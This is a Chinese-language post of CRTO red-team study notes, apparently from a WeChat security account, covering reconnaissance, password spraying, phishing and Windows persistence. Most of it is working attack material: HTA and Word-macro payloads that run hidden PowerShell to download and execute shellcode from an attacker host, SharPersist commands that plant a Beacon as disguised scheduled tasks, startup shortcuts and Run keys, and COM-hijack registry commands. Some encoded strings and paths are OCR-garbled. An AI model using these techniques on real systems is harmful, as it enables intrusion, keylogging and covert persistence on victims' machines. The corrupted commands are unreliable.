来源于Secde0师傅的投稿
Crto Notes
Recon
Organisational
需要获取目标集团的人员姓名、组织架构、邮箱信息
Technical
-
Passvie:被动侦查依赖第三方来源,如谷歌、Linkedln、shodan、社交媒体(在实战中可以使用如fofa等空间浏览器、github搜索公司一些信息、百度文库等是否存在资料泄露、公司的招标文件或者查看是否存在网络拓扑常见学校)
-
Active:主动搜索获取对方域名、ip范围、子域名、vpn系统、OA系统、备案号、端口开放情况、邮箱系统、物联网设备等
dns Recon
使用dnscan进行子域扫描
使用spoofcheck来检测域是否可以被欺骗,该程序检查 SPF 和 DMARC 记录是否存在允许欺骗的弱配置。
Social Media
-
使用Linkedln(领英)获取目标员工信息
-
使用Google Dork获取websites, social media, email addresses
Initial Compromise
假定我们已经进入内网
Password Spraying
获取到邮箱或者账号名,我们可以进行密码爆破,这里组成的爆破字典需要注意当地的语种及语言系统,可以通过github搜索一下该国的弱口令top100
针对Office 365邮箱密码进行爆破我们可以使用 MailSniper和SprayingToolkit
Internal Phishing
Hta Phishing
VBScript运行calc.exe
#VBScript<html> <head> <title>Hello World</title> </head> <body> <h2>Hello World</h2> <p>This is an HTA...</p> </body> <script language="VBScript"> Function Pwn() Set shell = CreateObject("wscript.Shell") shell.run "calc" End Function Pwn </script></html>
注意:如果使用mshta.exe远程powershell加载后门,如果使用的shellcode是64位的,那么不会有Beacon上线,因为powershell默认调用的是32位的mshta.exe
解决上面问题不需要把shellcode换成32位,可以用下面代码
#VBScript#http://10.10.5.120:80/a为64bit shellcode http://10.10.5.120:80/b为32bit shellcode<html> <head> <title>Hello World</title> </head> <body> <h2>Hello World</h2> <p>This is an HTA...</p> </body> <script language="VBScript"> Function Pwn() Set shell = CreateObject("wscript.Shell") If shell.ExpandEnvironmentStrings("%PROCESSOR_ARCHITECTURE%") "AMD64" Then shell.run "powershell.exe -nop -w hidden -c ""IEx ((new-object net.webclient).downloadstring('http://10.10.5.120:80/a'))"" Else shell.run "powershell.exe -nop -w hidden -c ""IEx ((new-object net.webclient).downloadstring('http://10.10.5.12o:8o/b'))" " End If End Function Pwn </script></html>
Word VBA Phishing
使用VBA脚本执行calc.exe
1、创建宏文件 xx.docm 或者xx.doc (推荐)2、创建宏 View>Macros>CreateSub AutoOpen() Dim Shell As Object Set Shell = CreateObject("wscript.shell") Shell.Run "calc"End Sub
注意保存钓鱼文件时,记得删除一些个人信息
点击File>info>Inspect Document>Inspect Document
勾选个人信息,然后点击检查
检查出泄露信息删除
如果需要在VBA中运行powershell和如何制作欺骗文档见OSEP笔记
Sysmon
为了能直观的监测整个攻击,需要安装sysmon进行监控
有两种方案
ELK+Sysmon+Winlogbeat 这种方案优点就是可持续动态监控,缺点就是安装麻烦 ***
Sysmon+SysmonTools 优点部署容易,缺点每次分析sysmon日志需要重新导入到SysmonView **
sentinel-attack 待测试
watchAD 360团队研发的域安全入侵感知系统 ***
BlueSpawn 开源EDR **
RmEye 基于Sysmon的轻量级EDR,安装简单 *
maltrail 流量监控工具
Seatbelt
项目地址:https://github.com/GhostPack/Seatbelt
.Net 内网渗透工具,项目预编译使用的是.NET Framework3.5
这里有三条命令来查询计算机的.NET Framework版本信息
1、csBeacon>reg queryv x64 HKLMSOFTWAREMicrosoftNET Framework SetupNDPv4Full Release2。cmdcmd>reg query "HKLMSOFTWAREMicrosoftNet Framework SetupNDP" /s3、powershellpowershell>Get-ChildItem 'HKLM:SOFTWAREMicrosoftNET Framework SetupNDP' -Recurse | Get-ItemProperty -Name version -EA 0 | Where { $_.PSChildName -Match '^(?!S)p{L}'} | Select PSChildName, version
由于CRL组件的影响,我们不需要在枚举机器上安装.NET 3.5
从内存加载Seatbelt :https://anquan.baidu.com/article/1153
CS command
-
Screenshots 截屏
-
keylogger 键盘记录
-
jobs/jobkill 停止键盘记录
Host Persistence
常见的三种持久化方法
-
HKCU /HKLM Registry Autoruns
-
Scheduled Tasks
-
Startup Folder
SharPersist
Arguments/Options
-
-t - persistence technique
-
-c - command to execute
-
-a - arguments to command to execute (if applicable)
-
-f - the file to create/modify
-
-k - registry key to create/modify
-
-v - registry value to create/modify
-
-n - scheduled task name or service name
-
-m - method (add, remove, check, list)
-
-o - optional add-ons
-
-h - help page
Add Schtask
使用SharPersist 添加一个名为Updater服务名的计划任务,计划任务为使用powershell每隔一小时远程加载base64加密的后门脚本
#in Powershell#base64加密IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))Ps c:> $str = IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))PS c:>[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))SQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAAAG4AZQBOAC4AWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWB3AGAAABVAGEAZABZAHQACRBPAG4AZWAOACIAABOAHQACAA6ACBALWAXADAALAXADAALgA1AC4AMQAyADAALWBhACIAKQApAA=
#in linux#base64加密IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))root@kali:# str-'IEx ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))'root@kali:# echo -en $str | iconv -t UTF-16LE | base64 -w oSQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAARAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWBAG4AABVAGEAZABZAHQACBPAG4AZWAOACIAABOAHQACAA6AC8ALWAXADAALAXAD AALgA1AC4AMQAyADAALWBhACIAKQApAA==
使用CS内存执行SharPersist添加一个名为Updater服务名的计划任务,计划任务为使用powershell每隔一小时远程加载base64加密的后门脚本
#csbeacon> execute-assembly c:ToolsSharPersistSharPersistbinDebugSharPersist.exe -t schtask -c "C:WindowsSystem32WindowsPowerShellvl.powershell.exe -a "-nop -w hidden -encSQBFAFAIAAOACAbBIAHCALQBVAGIARRBIAGMAdAAAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBUAHQAKQAUAGQAbWB3AGAAABVAGEAZABZAHQACRBPAG4AZWAOACIAABOAHQACAA6ACBALWAXADAALAXADAALgA1AC4AMQAyADAALwBhACIAKQApAA==" -n "Updater" -m add -o hourly[*] INFo: Adding scheduled task persistence[*] INFo: Command: C:WindowsSystem32WindowsPowerShellv1.opowershell.exe [*] INFo: Command Args: -nop -w hidden -encSQBFAFAIAAOACAbBIAHCALQBVAGIARBIAGMAdAAAG4AZQBOAC4AdWBIAGIAYWBSAGKAZQBAHQAKQAAGQAbWB3AGAAABVAGEAZABZAHQACBPAG4AZWAOACIAABOAHQACAA6AC8ALWAXADAALAXADAALgA1AC4AMQAyADAALWBhACIAKQApAA==[*] INFo: Scheduled Task Name: Updater [*] INFo: Option: hourly[+] succEss: Scheduled task added
Add lnk file in startup folder
用户第一次登录时,启动文件夹中的应用程序、文件和快捷方式会自动启动
beacon> execute-assembly C:ToolsSharPersistSharPersistbinDebugSharPersist.exe -t startupfolder -c "C: WindowsSystem32WindowsPowerShelllv1.0powershell.exe" -a "-nop -w hidden -encSQBFAFgAIAAOACgAbgBlAHCALQBvAGIAagBlAGMAdAAgAG4AZQBOAC4AdwBlAGIAYwBSAGKAZQBuAHQAKQAuAGQAbwB3AG4AbABVAGEAZABZAHQAcgBpAG4AZWAOACIAAABOAHQACAA6AC8ALWAXADAALgAXADAALgA1AC4AMQAyADAALwBhACIAKQApAA==" -f "UserEnvSetup" -m add[*] INFO: Adding startup folder persistence[*] INFO: Command: C:WindowsSystem32WindowsPowerShellv1.0powershell.exe [*] INFO: Command Args: -nop -w hidden -encSQBFAFgAIAAOACgAbgBlAHCALQBvAGIAagBIAGMAdAAgAG4AZQBOAC4AdwBlAGIAYwBsAGKAZQBuAHQAKQAUAGQAbwB3AG4AbABVAGEAZABZAHQACgBpAG4AZWAOACIAAABOAHQACAA6AC8ALWAXADAALgAXAD AALgA1AC4AMQAyADAALWBhACIAKQApAA==[*] INFO: File Name: UserEnvSetup[+] SUCCESS: Startup folder persistence created[*] INFO: LNK File located at: C:UsersbfarmerAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupUserEnvSetup.1nk [*] INFO: SHA256 Hash of LNK file: B34647F8D8B7CE28C1FODA3FF444D9B7244C41370B88061472933B2607A169BC
Add HKCU and HKLM reg to start on boot
创建hkcurun注册表自启动
beacon> cd C:ProgramDatabeacon> upload C:Payloadsbeacon-http.exebeacon> mv beacon-http.exe updater.exebeacon> execute-assembly C:ToolsSharPersistSharPersistlbinDebugSharPersist.exe -t reg -c "C:ProgramDataUpdater.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add[*] INFO: Adding registry persistence[*] INFO: Command: C:ProgramDataUpdater.exe[*] INFO: Command Args: /q /n[*] INFO: Registry Key: HKCUYSoftwareMicrosoft WindowsCurrentVersionRun[*] INFO: Registry Value: Updater[*] INFO: Option:[+] SUCCESS: Registry persistence added
Hijacking COM Objects
由于劫持COM组件存在很大的业务和系统风险,所以我们需要在目标机器上查找安全影响力较小的组件
我们可以使用Process Monitor,在目标机器上运行procmon64.exe
查找符合以下要求的COM组件
-
RegOpenKey operations.
-
where the Result is NAME NOT FOUND.
-
and the Path ends with InprocServer32.
点击OK进行搜索,就能看到很多可以用于劫持的CLSID,尽可能选择常用的工具CLSID但不能使用的太频繁,如最好不要劫持浏览器。
这里选择C:Windowssystem32DllHost.exe里面的CLSID,地址为
HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}InprocServer32
我们可以在HKLM中找到该路径,但在HKCU不存在
利用这点,我们可以在注册表里创建一个HKCU项,并把Value指向Beacon DLL。
PS C:> New-Item -Path "HKCU:SoftwareClassesCLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A805}"PS C:> New-Item -Path "HKCU:SoftwareClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:beacon.d11"PS C:> New-ItemProperty -Path "HKCU:SoftwarelClassesCLSID{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}InprocServer32" -Name "ThreadingModel" -Value "Both"
当DllHost.exe加载这个COM组件时,我们就能得到一个Beacon。
寻找可劫持COM组件的另一个好地方是任务调度程序。许多默认的Windows任务实际上使用自定义触发器来调用COM对象,而不是在磁盘上执行二进制文件。因为它们是通过任务调度程序执行的,所以更容易预测它们何时被触发。我们可以使用以下PowerShell来查找兼容的任务。
#Powershell script$Tasks = Get-ScheduledTaskforeach ($Task in $Tasks){ if ($Task.Actions.ClassId -ne $null) { if ($Task.Triggers.Enabled -eq $true) { if ($Task.Principal.GroupId -eq "Users") { Write-Host "Task Name: " $Task.TaskName Write-Host "Task Path: " $Task.TaskPath Write-Host "CLSID: " $Task.Actions.ClassId Write-Host } } }}
输出如下
查找{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}在HKEY_CLASSES_ROOTCLSID的的文件路径
我们可以看到它是一个InprocServer32,且只存在HKLM而不在HKCU
利用这点,我们可以在注册表里创建一个HKCU项,并把Value指向Beacon DLL。
PS C:> New-Item -Path "HKCU:SoftwareClassesCLSID" -Name "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"PS C:> New-Item -Path "HKCU:SoftwareClassesCLSID{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -Name "InprocServer32" -Value "C:beacon.d11"PS C:> New-ItemProperty -Path "HKCU:SoftwarelClassesCLSID{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}InprocServer32" -Name "ThreadingModel" -Value "Both"
原文始发于微信公众号(e0m安全屋):crto笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论